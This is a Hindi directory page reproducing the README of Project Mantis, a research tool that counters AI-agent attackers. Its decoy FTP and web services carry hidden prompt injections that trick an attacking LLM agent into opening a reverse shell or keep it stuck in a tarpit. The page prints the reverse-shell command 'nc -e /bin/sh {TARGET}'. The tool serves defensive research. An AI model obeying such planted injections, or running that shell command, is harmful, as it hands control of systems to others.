Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
project_mantis — Project Mantis: AI-हैकर की जवाबी हैकिंग; LLM-संचालित साइबर हमलों के विरुद्ध बचाव के रूप में प्रॉम्प्ट इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/pasquini-dario/project_mantis
वेब सुरक्षानेटवर्क सुरक्षासामाजिक इंजीनियरिंगपेपर और शोधरेड टीमिंगAI सुरक्षाप्रतिकूल हमला
GitHubpasquini-dario/project_mantis

project_mantis

Project Mantis: AI-हैकर की जवाबी हैकिंग; LLM-संचालित साइबर हमलों के विरुद्ध बचाव के रूप में प्रॉम्प्ट इंजेक्शन

रिपॉजिटरी देखें
11913202 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

प्रोजेक्ट मांटिस: AI-हैकर को जवाबी हैकिंग

एलएलएम-संचालित साइबर हमलों के विरुद्ध रक्षा के रूप में प्रॉम्प्ट इंजेक्शन

मांटिस स्थापित करें

pip install -r requirements.txt

पूर्व-निर्मित कॉन्फ़िगरेशन के साथ मांटिस चलाएँ

./confs निर्देशिका में कई पूर्व-निर्मित कॉन्फ़िगरेशन उपलब्ध हैं।

हैक-बैक

मांटिस कॉन्फ़िगरेशन फ़ाइल का एक उदाहरण ./confs/ftp_hackback_rshell.py में दिया गया है। इस कॉन्फ़िगरेशन का क्या अर्थ है और आप अपना कॉन्फ़िगरेशन कैसे चुन सकते हैं, इस README फ़ाइल में बाद में समझाया जाएगा। इसे mantis_run.py स्क्रिप्ट का उपयोग करके चलाया जा सकता है:

python mantis_run.py confs.ftp_hackback_rshell

confs/ftp_hackback_rshell.py के साथ मांटिस चलाने पर एक FTP डिकॉय सर्वर स्पॉन होगा जिसमें अनाम क्रेडेंशियल्स होंगे, जिसका उद्देश्य हमला करने वाले LLM-एजेंट को (अदृश्य) प्रॉम्प्ट इंजेक्शन के माध्यम से रिवर्स शेल खोलने के लिए धोखा देना है। ट्रिगर होने पर, यह परीक्षण के लिए निर्दिष्ट पोर्ट पर एक रिवर्स शेल लिसनर स्पॉन करता है (⚠️ यह कॉन्फ़िगरेशन उत्पादन के लिए अभिप्रेत नहीं है ⚠️)।

उपरोक्त का एक रूपांतर जो डिकॉय के रूप में SQL-इंजेक्शन-संवेदनशील वेबऐप का उपयोग करता है, उसे इस प्रकार चलाया जा सकता है:

python mantis_run.py confs.web_hackback_rshell

एक और कॉन्फ़िगरेशन confs/web_hackback_rshell_with_inj_banner.py में प्रदान किया गया है, जो confs.web_hackback_rshell का एक रूपांतर है। यह कॉन्फ़िगरेशन हमलावरों को आकर्षित करने के लिए सेवा बैनर इंजेक्शन का उपयोग करता है। इंजेक्शन को हाइपर-पैरामीटर: BANNER_INJECTION_POOL का उपयोग करके नियंत्रित किया जा सकता है (उदाहरण के लिए confs/web_hackback_rshell_with_inj_banner.py की सामग्री देखें)।

इन सभी उदाहरणों में, हम एक बहुत ही सरल रिवर्स शेल इनिशिएटर का उपयोग करते हैं: nc -e /bin/sh {TARGET} ...। इसे कॉन्फ़िगरेशन फ़ाइल में REVERSE_SHELL_INITIATOR चर को बदलकर बदला जा सकता है (उदाहरण के लिए, confs/ftp_hackback_rshell.py), जहाँ पैरामीटर {TARGET} होस्ट का IP है (जो मांटिस द्वारा स्वचालित रूप से सेट किया जाता है)। यदि आप हमलावर के पोस्ट-एक्सप्लॉइटेशन को स्वचालित करना चाहते हैं, तो आप Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest क्लास को संशोधित या बदल सकते हैं। कॉन्फ़िगरेशन फ़ाइलें कैसे काम करती हैं, इसके बारे में बाद में और अधिक जानकारी दी जाएगी।

टारपिट

एक और उदाहरण है ./confs/ftp_filesystem_tarpit.py:

python mantis_run.py confs.ftp_filesystem_tarpit

यह एक अनंत गहरी फ़ाइल प्रणाली और अनुकूलित (अदृश्य) प्रॉम्प्ट इंजेक्शन के साथ एक नकली FTP सर्वर शुरू करता है ताकि हमला करने वाले LLM एजेंट को फँसाए रखा जा सके। टारपिट की जटिलता को ./confs/ftp_filesystem_tarpit.py में EXPECTED_NUMBER_OF_DIRECTORIES चर के माध्यम से सेट किया जा सकता है।

कॉन्फ़िगरेशन फ़ाइलों को समझना

एक कॉन्फ़िगरेशन फ़ाइल मांटिस के व्यवहार को परिभाषित करती है; कौन से डिकॉय का उपयोग करना है, इसका उपयोग कब करना है, और जब कोई (या कुछ) इसे एक्सप्लॉइट करने का प्रयास करता है तो क्या करना है। हालाँकि काफी विस्तृत, ./conf निर्देशिका में कॉन्फ़िगरेशन फ़ाइलें एक अवलोकन प्रदान करती हैं कि कॉन्फ़िगरेशन कैसा दिखता है। अधिक व्यावहारिक रूप से, वे एक (विशेष रूप से संरचित नहीं) Python स्क्रिप्ट में परिभाषित चरों की एक सूची हैं।

एक कॉन्फ़िगरेशन फ़ाइल में केवल दो अनिवार्य चर परिभाषित किए जाने चाहिए: DECOYS और TRIGGER_EVENTS।

DECOYS

जैसा कि नाम से पता चलता है, यह डेटा संरचना उन डिकॉय को परिभाषित करती है जिन्हें मांटिस को बूट होने पर चलाना चाहिए। विशेष रूप से, यह एक Python शब्दकोश है जहाँ प्रत्येक प्रविष्टि एक डिकॉय को सौंपा गया पोर्ट है, जिसमें पोर्ट कुंजी के रूप में और एक टपल जिसमें “डिकॉय क्लास” और “डिकॉय कॉन्फ़िगरेशन” शामिल है, मान के रूप में होता है। एक “डिकॉय क्लास” “./Mantis/Decoys.DecoyService” का उपवर्ग है, और “डिकॉय कॉन्फ़िगरेशन” एक (संभवतः खाली) Python शब्दकोश है जो डिकॉय के लिए अनुकूलन विकल्प प्रदान करता है। हम इन विवरणों पर बाद में चर्चा करेंगे।

आइए DECOYS चर के उदाहरण के रूप में ./confs/ftp_filesystem_tarpit.py को लेते हैं:

DECOYS = {
    21 : (
    		TarpitFTP , {
        	'name':'into_tarpit',
        	'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),
}

यहाँ पोर्ट 21 पर एक एकल डिकॉय (TarpitFTP) चल रहा है। "डिकॉय कॉन्फ़िगरेशन" दो चरों के साथ आता है: name, एक विशिष्ट डिकॉय से जुड़ा एक नाम जो बाद में TRIGGER_EVENTS को बेहतर ढंग से प्रबंधित करने में हमारी मदद करेगा, और एक और शब्दकोश hparams जिसका उपयोग डिकॉय क्लास में मनमाना डेटा पास करने के लिए किया जा सकता है। यदि name चर सेट नहीं है, तो इसका डिफ़ॉल्ट मान "decoy" है। hparams में मानों को फिर डिकॉय ऑब्जेक्ट में self.hparams विशेषता के माध्यम से एक्सेस किया जा सकता है। उदाहरण में, इसका उपयोग फ़ाइल-सिस्टम-आधारित टारपिट में अपेक्षित निर्देशिकाओं की संख्या निर्धारित करने के लिए किया जाता है।

उदाहरण एक एकल डिकॉय दिखाता है, लेकिन संख्या मनमानी हो सकती है (जब तक एक खाली पोर्ट उपलब्ध है)।

उपलब्ध डिकॉय

मांटिस कुछ डिकॉय क्लासों के साथ आता है जिन्हें तुरंत उपयोग किया जा सकता है। वे हैं:

  • Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: एक नकली FTP सर्वर जिसमें अनाम क्रेडेंशियल्स सक्षम हैं।
  • Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: एक नकली FTP सर्वर जिसमें अनाम क्रेडेंशियल्स सक्षम हैं और जो अनंत गहरी फ़ाइल प्रणाली लागू करता है।
  • Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: एक वेब सर्वर जिसमें SQL इंजेक्शन के प्रति संवेदनशील लॉगिन पृष्ठ है।
  • Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: एक नकली टेलनेट सर्वर जिसमें कमजोर प्रमाणीकरण है।

हम इस सूची को बढ़ाने की योजना बना रहे हैं, लेकिन जैसा कि हम बाद में readme में देखेंगे, अपना स्वयं का डिकॉय बनाना कोई रॉकेट साइंस नहीं है।

TRIGGER_EVENTS

यहाँ मुश्किल हिस्सा आता है। TRIGGER_EVENTS चर बाहरी उपयोगकर्ताओं (लोगों या एजेंटों) के डिकॉय के साथ बातचीत करने पर मांटिस के व्यवहार को परिभाषित करता है। जिस तरह से यह कॉन्फ़िगरेशन चर परिभाषित किया गया है वह अनावश्यक रूप से जटिल लग सकता है, लेकिन हो सकता है कि आपको अंततः यह आपको प्रदान की गई स्वतंत्रता की सराहना मिले (शायद)।

TRIGGER_EVENTS एक और python शब्दकोश है, जहाँ एक प्रविष्टि इस प्रकार परिभाषित की गई है:

 TRIGGER : (
      INJECTION_FUNCTION, 
      {
        'invisible_shell':INVISIBLE_SHELL?,
        'invisible_html':INVISIBLE_HTML?
      },
      EXECUTION_TRIGGER_POOL,
      PAYLOAD_POOL,
      SERVICES_TO_SPAWN,
      TO_KILL?,
  ),
    

यहाँ, एक प्रविष्टि परिभाषित करती है कि जब कोई डिकॉय ट्रिगर इवेंट संकेत देता है तो क्या करना है। आगे, हम प्रत्येक पैरामीटर पर अलग से विचार करने जा रहे हैं:

TRIGGER

कुंजी TRIGGER एक स्ट्रिंग है जो हमें ट्रिगर इवेंट को क्रियाओं के संगत सेट (शब्दकोश प्रविष्टि का मान) से मैप करने की अनुमति देती है।

सामान्य मामले में, इसे ऊपर बताए अनुसार DECOYS चर को परिभाषित करते समय डिकॉय को सौंपे गए नाम पर सेट किया जा सकता है। उदाहरण के लिए, ./confs/ftp_filesystem_tarpit.py के लिए इसे "into_tarpit" पर सेट किया जाना चाहिए। यदि आपने अपने डिकॉय के लिए कोई नाम सेट नहीं किया है, तो आप TRIGGER को "decoy" पर सेट कर सकते हैं। यदि आप कई डिकॉय स्थापित करते हैं, तो आपको उन्हें नाम देना होगा और TRIGGER_EVENTS में सही ट्रिगर इवेंट से मैप करने के लिए उन नामों का उपयोग करना होगा। उदाहरण के लिए, निम्नलिखित डिकॉय के साथ:

DECOYS = {
    21 : (
    		TarpitFTP , {
        	'name':'ftp_tarpit',
        	'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),

   80: (
		WebFakeDB_sqlinj, {
		'name': 'sql_injection'
		}
	),
}

आपके ट्रिगर इवेंट इस प्रकार दिखने चाहिए:

TRIGGER_EVENTS = {
	'ftp_tarpit' : (...),
	'sql_injection' : (...),
}

हालाँकि मुश्किल हिस्सा यह है कि प्रत्येक डिकॉय में अलग-अलग नामों वाले कई ट्रिगर इवेंट हो सकते हैं (./confs/ftp_filesystem_tarpit.py पर एक नज़र डालें)। फिलहाल इसे छोड़ दें 😇।

INJECTION_FUNCTION

टूल डाउनलोड करें